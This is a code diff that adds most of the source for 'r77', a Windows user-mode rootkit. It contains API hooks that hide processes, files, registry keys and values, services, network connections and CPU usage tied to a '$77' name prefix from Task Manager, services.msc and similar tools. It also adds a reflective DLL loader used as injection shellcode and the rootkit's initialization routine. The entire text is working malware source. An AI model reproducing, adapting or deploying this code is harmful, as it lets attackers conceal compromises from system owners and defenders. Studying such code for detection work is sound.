status = STATUS_NO_MORE_FILES; + else FileInformationSetNextEntryOffset(previous, fileInformationClass, 0); + break; + } + } + + previous = current; + current = (LPBYTE)current + nextEntryOffset; + } + while (nextEntryOffset); + } + } + + return status; +} +static NTSTATUS NTAPI HookedNtEnumerateKey(HANDLE key, ULONG index, NT_KEY_INFORMATION_CLASS keyInformationClass, LPVOID keyInformation, ULONG keyInformationLength, PULONG resultLength) +{ + NTSTATUS status = OriginalNtEnumerateKey(key, index, keyInformationClass, keyInformation, keyInformationLength, resultLength); + + // Implement hiding of registry keys by correcting the index in NtEnumerateKey. + if (status == ERROR_SUCCESS && (keyInformationClass == KeyBasicInformation || keyInformationClass == KeyNameInformation)) + { + for (ULONG i = 0, newIndex = 0; newIndex <= index && status == ERROR_SUCCESS; i++) + { + status = OriginalNtEnumerateKey(key, i, keyInformationClass, keyInformation, keyInformationLength, resultLength); + + if (!HasPrefix(KeyInformationGetName(keyInformation, keyInformationClass))) + { + newIndex++; + } + } + } + + return status; +} +static NTSTATUS NTAPI HookedNtEnumerateValueKey(HANDLE key, ULONG index, NT_KEY_VALUE_INFORMATION_CLASS keyValueInformationClass, LPVOID keyValueInformation, ULONG keyValueInformationLength, PULONG resultLength) +{ + NTSTATUS status = OriginalNtEnumerateValueKey(key, index, keyValueInformationClass, keyValueInformation, keyValueInformationLength, resultLength); + + // Implement hiding of registry values by correcting the index in NtEnumerateValueKey. + if (status == ERROR_SUCCESS && (keyValueInformationClass == KeyValueBasicInformation || keyValueInformationClass == KeyValueFullInformation)) + { + for (ULONG i = 0, newIndex = 0; newIndex <= index && status == ERROR_SUCCESS; i++) + { + status = OriginalNtEnumerateValueKey(key, i, keyValueInformationClass, keyValueInformation, keyValueInformationLength, resultLength); + + if (!HasPrefix(KeyValueInformationGetName(keyValueInformation, keyValueInformationClass))) + { + newIndex++; + } + } + } + + return status; +} +static BOOL WINAPI HookedEnumServiceGroupW(SC_HANDLE serviceManager, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPVOID reserved) +{ + // services.msc + BOOL result = OriginalEnumServiceGroupW(serviceManager, serviceType, serviceState, services, servicesLength, bytesNeeded, servicesReturned, resumeHandle, reserved); + + if (result && services && servicesReturned) + { + FilterEnumServiceStatus((LPENUM_SERVICE_STATUSW)services, servicesReturned); + } + + return result; +} +static BOOL WINAPI HookedEnumServicesStatusExW(SC_HANDLE serviceManager, SC_ENUM_TYPE infoLevel, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPCWSTR groupName) +{ + // TaskMgr (Windows 7), ProcessHacker + BOOL result = OriginalEnumServicesStatusExW(serviceManager, infoLevel, serviceType, serviceState, services, servicesLength, bytesNeeded, servicesReturned, resumeHandle, groupName); + + if (result && services && servicesReturned) + { + FilterEnumServiceStatusProcess((LPENUM_SERVICE_STATUS_PROCESSW)services, servicesReturned); + } + + return result; +} +static BOOL WINAPI HookedEnumServicesStatusExW2(SC_HANDLE serviceManager, SC_ENUM_TYPE infoLevel, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPCWSTR groupName) +{ + // TaskMgr (Windows 10 uses sechost.dll instead of advapi32.dll) + BOOL result = OriginalEnumServicesStatusExW2(serviceManager, infoLevel, serviceType, serviceState, services, servicesLength, bytesNeeded, servicesReturned, resumeHandle, groupName); + + if (result && services && servicesReturned) + { + FilterEnumServiceStatusProcess((LPENUM_SERVICE_STATUS_PROCESSW)services, servicesReturned); + } + + return result; +} +static NTSTATUS NTAPI HookedNtDeviceIoControlFile(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, ULONG ioControlCode, LPVOID inputBuffer, ULONG inputBufferLength, LPVOID outputBuffer, ULONG outputBufferLength) +{ + NTSTATUS status = OriginalNtDeviceIoControlFile(fileHandle, event, apcRoutine, apcContext, ioStatusBlock, ioControlCode, inputBuffer, inputBufferLength, outputBuffer, outputBufferLength); + + if (NT_SUCCESS(status)) + { + // Hide TCP and UDP entries + if (ioControlCode == IOCTL_NSI_GETALLPARAM && outputBuffer && outputBufferLength == sizeof(NT_NSI_PARAM)) + { + // Check, if the device is "\Device\Nsi" + BYTE deviceName[500]; + if (NT_SUCCESS(NtQueryObject2(fileHandle, ObjectNameInformation, deviceName, 500, NULL)) && + !StrCmpNIW(DEVICE_NSI, ((PUNICODE_STRING)deviceName)->Buffer, sizeof(DEVICE_NSI) / sizeof(WCHAR))) + { + PNT_NSI_PARAM nsiParam = (PNT_NSI_PARAM)outputBuffer; + if (nsiParam->Entries && (nsiParam->Type == NsiTcp || nsiParam->Type == NsiUdp)) + { + // The status and process table may be NULL and must be checked. + PNT_NSI_TCP_ENTRY tcpEntries = (PNT_NSI_TCP_ENTRY)nsiParam->Entries; + PNT_NSI_UDP_ENTRY udpEntries = (PNT_NSI_UDP_ENTRY)nsiParam->Entries; + PNT_NSI_STATUS_ENTRY statusEntries = (PNT_NSI_STATUS_ENTRY)nsiParam->StatusEntries; + PNT_NSI_PROCESS_ENTRY processEntries = (PNT_NSI_PROCESS_ENTRY)nsiParam->ProcessEntries; + + WCHAR processName[MAX_PATH + 1]; + + for (DWORD i = 0; i < nsiParam->Count; i++) + { + processName[0] = L'\0'; + + BOOL hidden = FALSE; + if (nsiParam->Type == NsiTcp) + { + if (processEntries) GetProcessFileName(processEntries[i].TcpProcessId, FALSE, processName, MAX_PATH); + + hidden = + IsTcpLocalPortHidden(_byteswap_ushort(tcpEntries[i].Local.Port)) || + IsTcpRemotePortHidden(_byteswap_ushort(tcpEntries[i].Remote.Port)) || + processEntries && IsProcessIdHidden(processEntries[i].TcpProcessId) || + IsProcessNameHidden(processName) || + HasPrefix(processName); + } + else if (nsiParam->Type == NsiUdp) + { + if (processEntries) GetProcessFileName(processEntries[i].UdpProcessId, FALSE, processName, MAX_PATH); + + hidden = + IsUdpPortHidden(_byteswap_ushort(udpEntries[i].Port)) || + processEntries && IsProcessIdHidden(processEntries[i].UdpProcessId) || + IsProcessNameHidden(processName) || + HasPrefix(processName); + } + + // If hidden, move all following entries up by one and decrease count. + if (hidden) + { + if (i < nsiParam->Count - 1) + { + if (nsiParam->Type == NsiTcp) + { + RtlMoveMemory(&tcpEntries[i], &tcpEntries[i + 1], (nsiParam->Count - i - 1) * nsiParam->EntrySize); + } + else if (nsiParam->Type == NsiUdp) + { + RtlMoveMemory(&udpEntries[i], &udpEntries[i + 1], (nsiParam->Count - i - 1) * nsiParam->EntrySize); + } + + if (statusEntries) RtlMoveMemory(&statusEntries[i], &statusEntries[i + 1], (nsiParam->Count - i - 1) * sizeof(NT_NSI_STATUS_ENTRY)); + if (processEntries) RtlMoveMemory(&processEntries[i], &processEntries[i + 1], (nsiParam->Count - i - 1) * nsiParam->ProcessEntrySize); + } + + nsiParam->Count--; + i--; + } + } + } + } + } + } + + return status; +} + +static BOOL GetProcessHiddenTimes(PLARGE_INTEGER hiddenKernelTime, PLARGE_INTEGER hiddenUserTime, PLONGLONG hiddenCycleTime) +{ + // Count hidden CPU usage explicitly instead of waiting for a call to NtQuerySystemInformation(SystemProcessInformation). + // Task managers call NtQuerySystemInformation(SystemProcessInformation) also, but not necessarily in a matching frequency. + + BOOL result = FALSE; + LPBYTE systemInformation = NEW_ARRAY(BYTE, 1024 * 1024 * 2); + ULONG returnLength; + + if (NT_SUCCESS(OriginalNtQuerySystemInformation(SystemProcessInformation, systemInformation, 1024 * 1024 * 2, &returnLength))) + { + if (hiddenKernelTime) hiddenKernelTime->QuadPart = 0; + if (hiddenUserTime) hiddenUserTime->QuadPart = 0; + if (hiddenCycleTime) *hiddenCycleTime = 0; + + for (PNT_SYSTEM_PROCESS_INFORMATION current = (PNT_SYSTEM_PROCESS_INFORMATION)systemInformation, previous = NULL; current;) + { + if (HasPrefixU(current->ImageName) || IsProcessIdHidden((DWORD)(DWORD_PTR)current->ProcessId) || IsProcessNameHiddenU(current->ImageName)) + { + if (hiddenKernelTime) hiddenKernelTime->QuadPart += current->KernelTime.QuadPart; + if (hiddenUserTime) hiddenUserTime->QuadPart += current->UserTime.QuadPart; + if (hiddenCycleTime) *hiddenCycleTime += current->CycleTime; + } + + previous = current; + + if (current->NextEntryOffset) current = (PNT_SYSTEM_PROCESS_INFORMATION)((LPBYTE)current + current->NextEntryOffset); + else current = NULL; + } + + result = TRUE; + } + + FREE(systemInformation); + return result; +} +static LPWSTR CreatePath(LPWSTR result, LPCWSTR directoryName, LPCWSTR fileName) +{ + // PathCombineW cannot be used with the directory name "\\.\pipe\". + if (!StrCmpIW(directoryName, L"\\\\.\\pipe\\")) + { + lstrcpyW(result, directoryName); + lstrcatW(result, fileName); + return result; + } + else + { + return PathCombineW(result, directoryName, fileName); + } +} +static LPWSTR FileInformationGetName(LPVOID fileInformation, FILE_INFORMATION_CLASS fileInformationClass, LPWSTR name) +{ + PWCHAR fileName = NULL; + ULONG fileNameLength = 0; + + switch (fileInformationClass) + { + case FileDirectoryInformation: + fileName = ((PNT_FILE_DIRECTORY_INFORMATION)fileInformation)->FileName; + fileNameLength = ((PNT_FILE_DIRECTORY_INFORMATION)fileInformation)->FileNameLength; + break; + case FileFullDirectoryInformation: + fileName = ((PNT_FILE_FULL_DIR_INFORMATION)fileInformation)->FileName; + fileNameLength = ((PNT_FILE_FULL_DIR_INFORMATION)fileInformation)->FileNameLength; + break; + case FileIdFullDirectoryInformation: + fileName = ((PNT_FILE_ID_FULL_DIR_INFORMATION)fileInformation)->FileName; + fileNameLength = ((PNT_FILE_ID_FULL_DIR_INFORMATION)fileInformation)->FileNameLength; + break; + case FileBothDirectoryInformation: + fileName = ((PNT_FILE_BOTH_DIR_INFORMATION)fileInformation)->FileName; + fileNameLength = ((PNT_FILE_BOTH_DIR_INFORMATION)fileInformation)->FileNameLength; + break; + case FileIdBothDirectoryInformation: + fileName = ((PNT_FILE_ID_BOTH_DIR_INFORMATION)fileInformation)->FileName; + fileNameLength = ((PNT_FILE_ID_BOTH_DIR_INFORMATION)fileInformation)->FileNameLength; + break; + case FileNamesInformation: + fileName = ((PNT_FILE_NAMES_INFORMATION)fileInformation)->FileName; + fileNameLength = ((PNT_FILE_NAMES_INFORMATION)fileInformation)->FileNameLength; + break; + } + + if (fileName && fileNameLength > 0) + { + wmemcpy(name, fileName, fileNameLength / sizeof(WCHAR)); + name[fileNameLength / sizeof(WCHAR)] = L'\0'; + return name; + } + else + { + return NULL; + } +} +static ULONG FileInformationGetNextEntryOffset(LPVOID fileInformation, FILE_INFORMATION_CLASS fileInformationClass) +{ + switch (fileInformationClass) + { + case FileDirectoryInformation: + return ((PNT_FILE_DIRECTORY_INFORMATION)fileInformation)->NextEntryOffset; + case FileFullDirectoryInformation: + return ((PNT_FILE_FULL_DIR_INFORMATION)fileInformation)->NextEntryOffset; + case FileIdFullDirectoryInformation: + return ((PNT_FILE_ID_FULL_DIR_INFORMATION)fileInformation)->NextEntryOffset; + case FileBothDirectoryInformation: + return ((PNT_FILE_BOTH_DIR_INFORMATION)fileInformation)->NextEntryOffset; + case FileIdBothDirectoryInformation: + return ((PNT_FILE_ID_BOTH_DIR_INFORMATION)fileInformation)->NextEntryOffset; + case FileNamesInformation: + return ((PNT_FILE_NAMES_INFORMATION)fileInformation)->NextEntryOffset; + default: + return 0; + } +} +static VOID FileInformationSetNextEntryOffset(LPVOID fileInformation, FILE_INFORMATION_CLASS fileInformationClass, ULONG value) +{ + switch (fileInformationClass) + { + case FileDirectoryInformation: + ((PNT_FILE_DIRECTORY_INFORMATION)fileInformation)->NextEntryOffset = value; + break; + case FileFullDirectoryInformation: + ((PNT_FILE_FULL_DIR_INFORMATION)fileInformation)->NextEntryOffset = value; + break; + case FileIdFullDirectoryInformation: + ((PNT_FILE_ID_FULL_DIR_INFORMATION)fileInformation)->NextEntryOffset = value; + break; + case FileBothDirectoryInformation: + ((PNT_FILE_BOTH_DIR_INFORMATION)fileInformation)->NextEntryOffset = value; + break; + case FileIdBothDirectoryInformation: + ((PNT_FILE_ID_BOTH_DIR_INFORMATION)fileInformation)->NextEntryOffset = value; + break; + case FileNamesInformation: + ((PNT_FILE_NAMES_INFORMATION)fileInformation)->NextEntryOffset = value; + break; + } +} +static PWCHAR KeyInformationGetName(LPVOID keyInformation, NT_KEY_INFORMATION_CLASS keyInformationClass) +{ + switch (keyInformationClass) + { + case KeyBasicInformation: + return ((PNT_KEY_BASIC_INFORMATION)keyInformation)->Name; + case KeyNameInformation: + return ((PNT_KEY_NAME_INFORMATION)keyInformation)->Name; + default: + return NULL; + } +} +static PWCHAR KeyValueInformationGetName(LPVOID keyValueInformation, NT_KEY_VALUE_INFORMATION_CLASS keyValueInformationClass) +{ + switch (keyValueInformationClass) + { + case KeyValueBasicInformation: + return ((PNT_KEY_VALUE_BASIC_INFORMATION)keyValueInformation)->Name; + case KeyValueFullInformation: + return ((PNT_KEY_VALUE_FULL_INFORMATION)keyValueInformation)->Name; + default: + return NULL; + } +} +static VOID FilterEnumServiceStatus(LPENUM_SERVICE_STATUSW services, LPDWORD servicesReturned) +{ + for (DWORD i = 0; i < *servicesReturned; i++) + { + // If hidden, move all following entries up by one and decrease count. + if (HasPrefix(services[i].lpServiceName) || + HasPrefix(services[i].lpDisplayName) || + IsServiceNameHidden(services[i].lpServiceName) || + IsServiceNameHidden(services[i].lpDisplayName)) + { + RtlMoveMemory(&services[i], &services[i + 1], (*servicesReturned - i - 1) * sizeof(ENUM_SERVICE_STATUSW)); + (*servicesReturned)--; + i--; + } + } +} +static VOID FilterEnumServiceStatusProcess(LPENUM_SERVICE_STATUS_PROCESSW services, LPDWORD servicesReturned) +{ + for (DWORD i = 0; i < *servicesReturned; i++) + { + // If hidden, move all following entries up by one and decrease count. + if (HasPrefix(services[i].lpServiceName) || + HasPrefix(services[i].lpDisplayName) || + IsServiceNameHidden(services[i].lpServiceName) || + IsServiceNameHidden(services[i].lpDisplayName)) + { + RtlMoveMemory(&services[i], &services[i + 1], (*servicesReturned - i - 1) * sizeof(ENUM_SERVICE_STATUS_PROCESSW)); + (*servicesReturned)--; + i--; + } + } +} \ No newline at end of file diff --git a/r77/Hooks.h b/r77/Hooks.h new file mode 100644 index 0000000..72638de --- /dev/null +++ b/r77/Hooks.h @@ -0,0 +1,50 @@ +#include "r77mindef.h" +#include "ntdll.h" +#ifndef _HOOKS_H +#define _HOOKS_H + +static NT_NTQUERYSYSTEMINFORMATION OriginalNtQuerySystemInformation; +static NT_NTRESUMETHREAD OriginalNtResumeThread; +static NT_NTQUERYDIRECTORYFILE OriginalNtQueryDirectoryFile; +static NT_NTQUERYDIRECTORYFILEEX OriginalNtQueryDirectoryFileEx; +static NT_NTENUMERATEKEY OriginalNtEnumerateKey; +static NT_NTENUMERATEVALUEKEY OriginalNtEnumerateValueKey; +static NT_ENUMSERVICEGROUPW OriginalEnumServiceGroupW; +static NT_ENUMSERVICESSTATUSEXW OriginalEnumServicesStatusExW; +static NT_ENUMSERVICESSTATUSEXW OriginalEnumServicesStatusExW2; +static NT_NTDEVICEIOCONTROLFILE OriginalNtDeviceIoControlFile; + +/// +/// Attaches hooks to r77 specific API's. +/// +VOID InitializeHooks(); +/// +/// Detaches all hooks. +/// +VOID UninitializeHooks(); + +static VOID InstallHook(LPCSTR dll, LPCSTR function, LPVOID *originalFunction, LPVOID hookedFunction); +static VOID UninstallHook(LPVOID originalFunction, LPVOID hookedFunction); + +static NTSTATUS NTAPI HookedNtQuerySystemInformation(SYSTEM_INFORMATION_CLASS systemInformationClass, LPVOID systemInformation, ULONG systemInformationLength, PULONG returnLength); +static NTSTATUS NTAPI HookedNtResumeThread(HANDLE thread, PULONG suspendCount); +static NTSTATUS NTAPI HookedNtQueryDirectoryFile(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, FILE_INFORMATION_CLASS fileInformationClass, BOOLEAN returnSingleEntry, PUNICODE_STRING fileName, BOOLEAN restartScan); +static NTSTATUS NTAPI HookedNtQueryDirectoryFileEx(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, FILE_INFORMATION_CLASS fileInformationClass, ULONG queryFlags, PUNICODE_STRING fileName); +static NTSTATUS NTAPI HookedNtEnumerateKey(HANDLE key, ULONG index, NT_KEY_INFORMATION_CLASS keyInformationClass, LPVOID keyInformation, ULONG keyInformationLength, PULONG resultLength); +static NTSTATUS NTAPI HookedNtEnumerateValueKey(HANDLE key, ULONG index, NT_KEY_VALUE_INFORMATION_CLASS keyValueInformationClass, LPVOID keyValueInformation, ULONG keyValueInformationLength, PULONG resultLength); +static BOOL WINAPI HookedEnumServiceGroupW(SC_HANDLE serviceManager, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPVOID reserved); +static BOOL WINAPI HookedEnumServicesStatusExW(SC_HANDLE serviceManager, SC_ENUM_TYPE infoLevel, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPCWSTR groupName); +static BOOL WINAPI HookedEnumServicesStatusExW2(SC_HANDLE serviceManager, SC_ENUM_TYPE infoLevel, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPCWSTR groupName); +static NTSTATUS NTAPI HookedNtDeviceIoControlFile(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, ULONG ioControlCode, LPVOID inputBuffer, ULONG inputBufferLength, LPVOID outputBuffer, ULONG outputBufferLength); + +static BOOL GetProcessHiddenTimes(PLARGE_INTEGER hiddenKernelTime, PLARGE_INTEGER hiddenUserTime, PLONGLONG hiddenCycleTime); +static LPWSTR CreatePath(LPWSTR result, LPCWSTR directoryName, LPCWSTR fileName); +static LPWSTR FileInformationGetName(LPVOID fileInformation, FILE_INFORMATION_CLASS fileInformationClass, LPWSTR name); +static ULONG FileInformationGetNextEntryOffset(LPVOID fileInformation, FILE_INFORMATION_CLASS fileInformationClass); +static VOID FileInformationSetNextEntryOffset(LPVOID fileInformation, FILE_INFORMATION_CLASS fileInformationClass, ULONG value); +static PWCHAR KeyInformationGetName(LPVOID keyInformation, NT_KEY_INFORMATION_CLASS keyInformationClass); +static PWCHAR KeyValueInformationGetName(LPVOID keyValueInformation, NT_KEY_VALUE_INFORMATION_CLASS keyValueInformationClass); +static VOID FilterEnumServiceStatus(LPENUM_SERVICE_STATUSW services, LPDWORD servicesReturned); +static VOID FilterEnumServiceStatusProcess(LPENUM_SERVICE_STATUS_PROCESSW services, LPDWORD servicesReturned); + +#endif \ No newline at end of file diff --git a/r77/ReflectiveDllMain.c b/r77/ReflectiveDllMain.c new file mode 100644 index 0000000..2bb0ff8 --- /dev/null +++ b/r77/ReflectiveDllMain.c @@ -0,0 +1,103 @@ +#include "ReflectiveDllMain.h" +#include "ntdll.h" +#include "r77win.h" +#include "r77runtime.h" + +BOOL WINAPI ReflectiveDllMain(LPBYTE dllBase) +{ + // All functions that are used in the reflective loader must be found by searching the PEB. + // Functions, such as memcpy need to be handwritten, because no functions are imported, yet. + // Switch statements cannot be used, because a jump table would be created and the shellcode would not be position independent anymore. + + NT_NTFLUSHINSTRUCTIONCACHE ntFlushInstructionCache = (NT_NTFLUSHINSTRUCTIONCACHE)PebGetProcAddress(0x3cfa685d, 0x534c0ab8); + NT_LOADLIBRARYA loadLibraryA = (NT_LOADLIBRARYA)PebGetProcAddress(0x6a4abc5b, 0xec0e4e8e); + NT_GETPROCADDRESS getProcAddress = (NT_GETPROCADDRESS)PebGetProcAddress(0x6a4abc5b, 0x7c0dfcaa); + NT_VIRTUALALLOC virtualAlloc = (NT_VIRTUALALLOC)PebGetProcAddress(0x6a4abc5b, 0x91afca54); + + // Safety check: Continue only, if all functions were found. + if (ntFlushInstructionCache && loadLibraryA && getProcAddress && virtualAlloc) + { + PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(dllBase + ((PIMAGE_DOS_HEADER)dllBase)->e_lfanew); + + // Allocate memory for the DLL. + LPBYTE allocatedMemory = (LPBYTE)virtualAlloc(NULL, ntHeaders->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (allocatedMemory) + { + // Copy optional header to new memory. + libc_memcpy(allocatedMemory, dllBase, ntHeaders->OptionalHeader.SizeOfHeaders); + + // Copy sections to new memory. + PIMAGE_SECTION_HEADER sections = (PIMAGE_SECTION_HEADER)((LPBYTE)&ntHeaders->OptionalHeader + ntHeaders->FileHeader.SizeOfOptionalHeader); + for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) + { + libc_memcpy(allocatedMemory + sections[i].VirtualAddress, dllBase + sections[i].PointerToRawData, sections[i].SizeOfRawData); + } + + // Read the import directory, call LoadLibraryA to import dependencies and patch the IAT. + PIMAGE_DATA_DIRECTORY importDirectory = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; + if (importDirectory->Size) + { + for (PIMAGE_IMPORT_DESCRIPTOR importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(allocatedMemory + importDirectory->VirtualAddress); importDescriptor->Name; importDescriptor++) + { + LPBYTE module = (LPBYTE)loadLibraryA((LPCSTR)(allocatedMemory + importDescriptor->Name)); + if (module) + { + PIMAGE_THUNK_DATA thunk = (PIMAGE_THUNK_DATA)(allocatedMemory + importDescriptor->OriginalFirstThunk); + PUINT_PTR importAddressTable = (PUINT_PTR)(allocatedMemory + importDescriptor->FirstThunk); + + while (*importAddressTable) + { + if (thunk->u1.Ordinal & IMAGE_ORDINAL_FLAG) + { + PIMAGE_NT_HEADERS moduleNtHeaders = (PIMAGE_NT_HEADERS)(module + ((PIMAGE_DOS_HEADER)module)->e_lfanew); + PIMAGE_EXPORT_DIRECTORY moduleExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(module + moduleNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + *importAddressTable = (UINT_PTR)(module + *(LPDWORD)(module + moduleExportDirectory->AddressOfFunctions + (IMAGE_ORDINAL(thunk->u1.Ordinal) - moduleExportDirectory->Base) * sizeof(DWORD))); + } + else + { + importDirectory = (PIMAGE_DATA_DIRECTORY)(allocatedMemory + *importAddressTable); + *importAddressTable = (UINT_PTR)getProcAddress((HMODULE)module, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)importDirectory)->Name); + } + + thunk = (PIMAGE_THUNK_DATA)((LPBYTE)thunk + sizeof(UINT_PTR)); + importAddressTable = (PUINT_PTR)((LPBYTE)importAddressTable + sizeof(UINT_PTR)); + } + } + } + } + + // Patch relocations. + PIMAGE_DATA_DIRECTORY relocationDirectory = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; + if (relocationDirectory->Size) + { + UINT_PTR imageBase = (UINT_PTR)(allocatedMemory - ntHeaders->OptionalHeader.ImageBase); + + for (PIMAGE_BASE_RELOCATION baseRelocation = (PIMAGE_BASE_RELOCATION)(allocatedMemory + relocationDirectory->VirtualAddress); baseRelocation->SizeOfBlock; baseRelocation = (PIMAGE_BASE_RELOCATION)((LPBYTE)baseRelocation + baseRelocation->SizeOfBlock)) + { + LPBYTE relocationAddress = allocatedMemory + baseRelocation->VirtualAddress; + PNT_IMAGE_RELOC relocations = (PNT_IMAGE_RELOC)((LPBYTE)baseRelocation + sizeof(IMAGE_BASE_RELOCATION)); + + for (UINT_PTR i = 0; i < (baseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(NT_IMAGE_RELOC); i++) + { + if (relocations[i].Type == IMAGE_REL_BASED_DIR64) *(PUINT_PTR)(relocationAddress + relocations[i].Offset) += imageBase; + else if (relocations[i].Type == IMAGE_REL_BASED_HIGHLOW) *(LPDWORD)(relocationAddress + relocations[i].Offset) += (DWORD)imageBase; + else if (relocations[i].Type == IMAGE_REL_BASED_HIGH) *(LPWORD)(relocationAddress + relocations[i].Offset) += HIWORD(imageBase); + else if (relocations[i].Type == IMAGE_REL_BASED_LOW) *(LPWORD)(relocationAddress + relocations[i].Offset) += LOWORD(imageBase); + } + } + } + + // Get actual main entry point. + NT_DLLMAIN dllMain = (NT_DLLMAIN)(allocatedMemory + ntHeaders->OptionalHeader.AddressOfEntryPoint); + + // Flush instruction cache to avoid stale instructions on modified code to be executed. + ntFlushInstructionCache(INVALID_HANDLE_VALUE, NULL, 0); + + // Call actual DllMain. + return dllMain((HINSTANCE)allocatedMemory, DLL_PROCESS_ATTACH, NULL); + } + } + + // If loading failed, DllMain was not executed either. Return FALSE. + return FALSE; +} \ No newline at end of file diff --git a/r77/ReflectiveDllMain.h b/r77/ReflectiveDllMain.h new file mode 100644 index 0000000..30653b0 --- /dev/null +++ b/r77/ReflectiveDllMain.h @@ -0,0 +1,16 @@ +#include "r77mindef.h" +#ifndef _REFLECTIVEDLLMAIN_H +#define _REFLECTIVEDLLMAIN_H + +/// +/// Position independent shellcode that loads the DLL after it was written to the remote process memory. +/// This is the main entry point for reflective DLL injection. +/// +/// A pointer to the beginning of the DLL file. +/// +/// If this function succeeds, the return value of DllMain; +/// otherwise, FALSE. +/// +__declspec(dllexport) BOOL WINAPI ReflectiveDllMain(LPBYTE dllBase); + +#endif \ No newline at end of file diff --git a/r77/Rootkit.c b/r77/Rootkit.c new file mode 100644 index 0000000..d5de289 --- /dev/null +++ b/r77/Rootkit.c @@ -0,0 +1,109 @@ +#include "Rootkit.h" +#include "Hooks.h" +#include "Config.h" +#include "r77def.h" +#include + +BOOL InitializeRootkit(HINSTANCE module) +{ + // If the process starts with $77, do not load r77. + WCHAR executablePath[MAX_PATH + 1]; + if (FAILED(GetModuleFileNameW(NULL, executablePath, MAX_PATH))) return FALSE; + if (HasPrefix(PathFindFileNameW(executablePath))) return FALSE; + + // Write the r77 header. + if (!WriteR77Header()) return FALSE; + + if (!RootkitInitialized) + { + RootkitInitialized = TRUE; + Module = module; + + // Initialize configuration system. + InitializeConfig(); + + // Attach hooks. + InitializeHooks(); + } + + return TRUE; +} +VOID UninitializeRootkit() +{ + if (RootkitInitialized) + { + RootkitInitialized = FALSE; + + // Remove the r77 header. + RemoveR77Header(); + + // Uninitialize configuration system. + UninitializeConfig(); + + // Detach hooks. + UninitializeHooks(); + } +} +static VOID DetachRootkit() +{ + UninitializeRootkit(); + FreeLibraryAndExitThread(Module, 0); +} + +static BOOL WriteR77Header() +{ + BOOL result = FALSE; + + // Store the r77 header in the main module. + LPBYTE module = (LPBYTE)GetModuleHandleW(NULL); + if (module) + { + // The r77 header is written over the DOS stub. + LPWORD signature = (LPWORD) & module[sizeof(IMAGE_DOS_HEADER)]; + + // If this process already has an r77 signature, indicate that the DLL should be detached by returning false. + if (*signature != R77_SIGNATURE && *signature != R77_SERVICE_SIGNATURE && *signature != R77_HELPER_SIGNATURE) + { + DWORD oldProtect; + if (VirtualProtectEx(GetCurrentProcess(), module, 512, PAGE_READWRITE, &oldProtect)) + { + // The current process is now marked as injected and therefore, cannot be injected again. + *signature = R77_SIGNATURE; + + // Write a function pointer to DetachRootkit() that can be invoked using NtCreateThreadEx to detach r77 from this process. + *(PDWORD64)&module[sizeof(IMAGE_DOS_HEADER) + 2] = (DWORD64)DetachRootkit; + + VirtualProtectEx(GetCurrentProcess(), module, 512, oldProtect, &oldProtect); + result = TRUE; + } + } + } + + return result; +} +static VOID RemoveR77Header() +{ + LPBYTE module = (LPBYTE)GetModuleHandleW(NULL); + if (module) + { + DWORD oldProtect; + if (VirtualProtectEx(GetCurrentProcess(), module, 512, PAGE_READWRITE, &oldProtect)) + { + // Remove the r77 header by overwriting the DOS stub. + // Even if this sequence of bytes doesn't match the original DOS stub, it does not affect the process. + *(LPWORD)&module[sizeof(IMAGE_DOS_HEADER)] = 0x1f0e; + *(PDWORD64)&module[sizeof(IMAGE_DOS_HEADER) + 2] = 0xb821cd09b4000eba; + + VirtualProtectEx(GetCurrentProcess(), module, 512, oldProtect, &oldProtect); + } + } +} + +BOOL HasPrefix(LPCWSTR str) +{ + return str && !StrCmpNIW(str, HIDE_PREFIX, HIDE_PREFIX_LENGTH); +} +BOOL HasPrefixU(UNICODE_STRING str) +{ + return str.Buffer && str.Length / sizeof(WCHAR) >= HIDE_PREFIX_LENGTH && !StrCmpNIW(str.Buffer, HIDE_PREFIX, HIDE_PREFIX_LENGTH); +} \ No newline at end of file diff --git a/r77/Rootkit.h b/r77/Rootkit.h new file mode 100644 index 0000000..059ebb9 --- /dev/null +++ b/r77/Rootkit.h @@ -0,0 +1,60 @@ +#include "r77mindef.h" +#ifndef _ROOTKIT_H +#define _ROOTKIT_H + +static BOOL RootkitInitialized; +static HINSTANCE Module; + +/// +/// Initializes r77, writes r77 header and installs hooks. +/// This function returns FALSE, if r77 is already injected, or if this process is either the r77 service or a helper process, or the process starts with $77. +/// +/// The module of the injected DLL. +/// +/// TRUE, if r77 was successfully loaded; +/// otherwise, FALSE. +/// 